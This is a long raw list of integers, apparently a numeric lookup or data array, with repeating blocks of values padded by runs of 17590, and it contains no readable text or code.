8888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,34365,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22354,18836,18987,19008,19233,20367,19008,17173,27086,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,19930,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22309,22513,18987,19008,19233,20367,19008,19122,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,22544,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22608,18836,22988,23004,27585,23020,23036,23067,22087,18888,18888,18888,23083,27211,27211,27211,23102,22121,24401,24401,24401,23122,31386,26154,19674,18888,28119,28232,19424,23705,27211,27211,23142,23173,23189,23212,24401,24401,23246,34427,31693,23262,18888,23290,23308,27783,27620,23327,35263,35107,33383,23346,18193,23393,32748,23968,24401,23414,35153,23463,18888,33913,23442,23482,27211,27211,23532,23552,21431,23575,24401,24401,23604,26095,23635,23657,18888,33482,23685,33251,27211,22187,18851,23721,35536,24401,18887,23750,32641,27211,23769,23787,20080,33012,24384,25659,18888,18889,27211,27211,19719,23889,23803,31018,18890,27211,31833,19406,19447,23086,23330,19828,28224,31826,23823,26917,34978,23850,26493,25782,23878,23914,23516,31008,22105,19419,27963,19659,29781,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22623,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,28909,25783,27211,27211,27211,34048,23933,22164,24401,24401,24401,28409,23949,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,26583,18888,18888,18888,35585,23984,27211,27211,27211,24005,22201,24033,24401,24401,24401,24052,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,26496,24076,24126,24151,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22638,18836,22059,19678,27857,24185,24401,24201,24217,26592,18888,18888,18890,24252,24268,27211,27211,22121,24287,24303,24401,24401,30613,19781,35432,36007,32649,18888,25783,24322,28966,23771,27211,35072,22164,24358,32106,26829,24400,31500,31693,18888,18888,18888,24801,18890,27211,27211,27211,27211,24418,19484,24401,24401,24401,24401,20167,31181,18888,18888,18888,27833,23086,27211,27211,33540,27211,30756,21431,24401,24401,22972,24401,26095,18888,36131,18888,27855,27211,24440,27211,22187,22968,24401,24459,24401,31699,28454,18888,34528,34570,35779,24478,24402,24494,25659,18888,36228,27211,27211,24515,30981,23734,31018,18890,27211,31833,19406,19447,23086,23330,24538,31017,27856,31741,30059,23377,24563,19837,25782,19760,31015,23516,25374,22105,19419,29793,24579,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22653,18836,22059,25756,19982,34097,23196,29183,24614,24110,23641,24673,26103,24697,24443,24713,28558,22121,24748,24462,24764,23398,30613,18888,18888,18888,18888,24798,25783,27211,27211,27211,34232,35072,22164,24401,24401,24401,33302,31500,22559,24106,24232,18888,18888,34970,24817,30411,27211,27211,32484,19484,29750,35127,24401,24401,19872,31181,24852,18888,18888,24871,29221,27211,27211,32072,27211,30756,34441,24401,24401,31571,24401,26095,33141,27802,27011,27855,25295,25607,24888,22187,22968,19195,34593,24906,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,33663,27211,27211,24924,24947,23588,31018,18890,27211,31833,22135,19447,23086,23330,19828,30904,31042,24972,19840,25e3,31738,30898,25782,19760,31015,23516,31008,22105,19419,25016,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22668,18836,25041,25057,31320,25073,25089,25105,22087,34796,24236,36138,34870,34125,25121,23106,35497,22248,36613,25137,30671,27365,30613,25153,26447,25199,25233,22574,23274,25249,25265,25281,25318,25344,25360,25400,25428,25452,26731,25504,31693,23669,25558,27407,25575,28599,25934,25599,27211,28180,27304,25623,25839,25649,24401,34820,25681,25698,22586,27775,30190,25745,25778,25799,25817,28995,33569,30756,21518,33443,25837,25855,25893,26095,31254,26677,30136,27855,25930,25950,27211,22187,22968,25966,25986,24401,23428,27763,36330,26959,26002,26029,26045,26085,26119,26170,26203,26222,26239,30527,26372,26274,28404,31018,33757,27211,34262,26316,36729,26345,26366,35337,31017,26388,26407,30954,26350,33861,26434,26463,26479,26512,23516,33189,26531,26547,27963,31293,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22683,18836,26568,26181,26608,34097,26643,29183,22087,26669,18888,18888,18890,26693,27211,27211,27211,22121,26720,24401,24401,24401,30613,18888,18888,18888,18888,26774,25783,27211,27211,27211,26619,35072,22164,24401,24401,24401,21596,31500,31693,18888,18888,33978,18888,18890,27211,27211,25801,27211,27211,19484,24401,24401,24401,26792,24401,31181,18888,18888,18888,35464,23086,27211,27211,27211,26809,30756,21431,24401,24401,24401,26828,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,31948,18889,35707,27211,19719,26845,19868,31018,18890,27211,31833,19406,19447,23086,23330,26905,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,24984,31088,19419,26945,27651,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22698,18836,26999,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,23051,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,27033,24401,24401,24401,24401,24036,31693,18888,18888,27056,18888,18890,27211,27211,30320,27211,27211,27075,24401,24401,29032,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,33986,27855,27211,27211,27102,17590,24017,24401,24401,27123,27144,36254,27162,27210,27228,28500,18187,34842,33426,27244,35980,27277,27302,27320,36048,34013,20999,31882,21478,27895,27356,30287,27381,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,26329,30087,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,27406,27423,27445,35294,27461,22087,18888,18888,30140,18890,27211,27211,27989,27211,22121,24401,24401,25682,24401,18866,18888,18888,18888,18888,18888,34042,27211,27211,27211,27211,29700,22164,24401,24401,24401,24401,27128,31693,27477,18888,18888,18888,18890,27194,27211,27211,27211,27211,19484,35299,24401,24401,24401,24401,19628,18888,18888,18888,27059,23086,27211,27211,27211,33366,30756,24012,24401,24401,24401,35044,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,20815,27211,30818,19960,33969,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22713,18836,22059,27496,27516,27541,35231,27557,22087,29662,26292,23292,27573,24836,27601,27211,27636,22121,35544,27686,24401,27721,18866,18888,27799,18888,27818,22071,27853,32260,27211,26013,27873,27920,22164,29419,24401,29946,33413,26742,27751,26881,18888,18888,27261,36776,27936,27211,27211,27211,27988,28005,28031,28052,24401,24401,28069,28088,28135,25488,28152,26069,28167,27211,28340,24657,28196,30756,31523,24401,28212,34176,36174,24956,28248,28266,28290,21488,33077,28327,28356,17590,20986,23126,28391,28425,28102,28451,28470,28490,28516,28534,20034,33728,25868,25659,18888,18889,27211,27211,19719,23889,19868,30241,28274,28553,28574,19406,28590,23086,23330,19828,19452,28615,28660,26147,25783,31738,19837,25782,19760,29613,35958,29276,22105,19419,27963,23157,28700,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,22528,18888,18888,18888,18888,18890,27333,27211,27211,27211,27211,19484,30853,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22728,18836,28747,28782,28817,28841,28857,28880,28896,24161,28943,32011,36261,27340,28961,29492,28982,29011,24522,29027,25436,29048,23051,27500,29090,29110,30713,18888,23512,29130,25183,27211,29155,28927,27033,29173,23230,24401,29199,35373,31693,18888,18888,25583,32629,29218,27211,27211,31461,30692,29237,27075,24401,24401,24401,29262,29302,19628,18888,34329,18888,18888,23086,27211,29329,27211,27211,30756,24012,35933,24401,24401,24401,27705,31612,18888,18888,29346,29374,27211,35650,17590,21436,29393,24401,25970,18887,33895,18888,27211,32528,27212,24016,32769,19868,25659,18888,26889,27211,27211,29412,23889,24371,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31768,19840,25783,31738,19837,29435,29508,31102,29550,29606,22105,30300,29462,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22743,18836,22059,29629,29473,34097,33285,29183,29651,27254,18888,29678,33329,32535,27211,29694,29716,22121,19202,24401,32742,29741,18866,26776,33921,28474,18888,18888,25783,29766,27211,29809,27211,35072,22164,35825,24401,29828,24401,24036,36769,25217,18888,18888,29848,18890,27211,29871,27211,26258,27211,29894,24401,29929,24401,36587,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,29725,29962,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18473,18888,18888,19584,27211,27212,24016,29982,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19902,19447,32052,19544,19828,29998,30097,30031,19840,25783,30047,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,30075,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22758,18836,30121,30156,30206,30257,30273,30336,22087,35624,32837,25762,18890,29878,34934,26812,27211,22121,24931,23223,29202,24401,18866,34373,30352,18888,18888,18888,23447,24828,27211,27211,27211,35072,30370,35052,24401,24401,24401,24036,29523,18888,18888,27146,18888,31308,30386,27211,27211,30405,30558,19484,30427,24401,24401,29938,35686,19628,28766,30447,34506,35614,23086,28731,30482,30517,30552,30756,24012,20156,30574,30598,30667,26283,33464,28945,27670,30687,32915,33504,25328,17590,23963,20450,33837,21016,32397,26300,30708,30729,27885,30748,21588,36373,30779,26653,24628,33220,32514,30806,31835,25412,25906,26515,18890,28825,31833,26133,19447,28304,31730,23834,26057,30869,30885,32181,30920,30942,32797,25782,30970,31015,23516,31008,30997,31034,27963,19659,29450,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22773,18836,31058,31074,32463,31125,31141,31197,22087,18888,29534,35471,36738,27211,24342,31213,24424,22121,24401,20175,31229,31917,27736,31245,34334,27175,18888,29094,27286,27211,31278,31336,27211,31355,31371,24401,31402,31418,24401,31437,31693,18888,31619,32841,18888,18890,27211,27211,31460,31477,27211,19484,24401,24401,31497,36581,24401,33020,18888,18888,18888,18888,30007,27211,27211,27211,27211,31516,32310,24401,24401,24401,24401,31539,18888,28762,18888,24651,35740,27211,27211,28644,31565,35796,24401,24401,19318,32188,18888,24334,28366,27212,29966,29832,19868,25659,18888,18889,27211,27211,19719,31587,19868,31635,32435,33693,30105,31663,20005,31715,31757,31784,31812,30015,31851,31878,25783,31898,19837,25782,19760,31015,23516,31008,22105,19419,27963,31933,30221,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22788,18836,22059,25729,30466,31968,24306,31984,32e3,32807,35160,27017,29590,34941,19801,29377,33700,22121,27040,30431,29396,28864,29565,18888,18888,18888,32027,18888,25783,27211,27211,23698,27211,35072,22164,24401,24401,30845,24401,24036,32045,18888,26929,18888,18888,18890,27211,31481,32068,27211,27211,32088,24401,33058,32122,24401,24401,33736,18888,18888,33162,18888,23086,27211,27211,29484,27211,28375,32144,24401,24401,33831,24401,26750,18888,18888,18888,27855,27211,27211,27211,36704,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,33107,22171,33224,24271,32169,31017,27856,31741,19840,25783,31738,30234,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,32204,32232,32252,32677,33295,29074,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,23619,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,32276,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,32299,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,33886,18889,36065,27211,19719,35326,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,1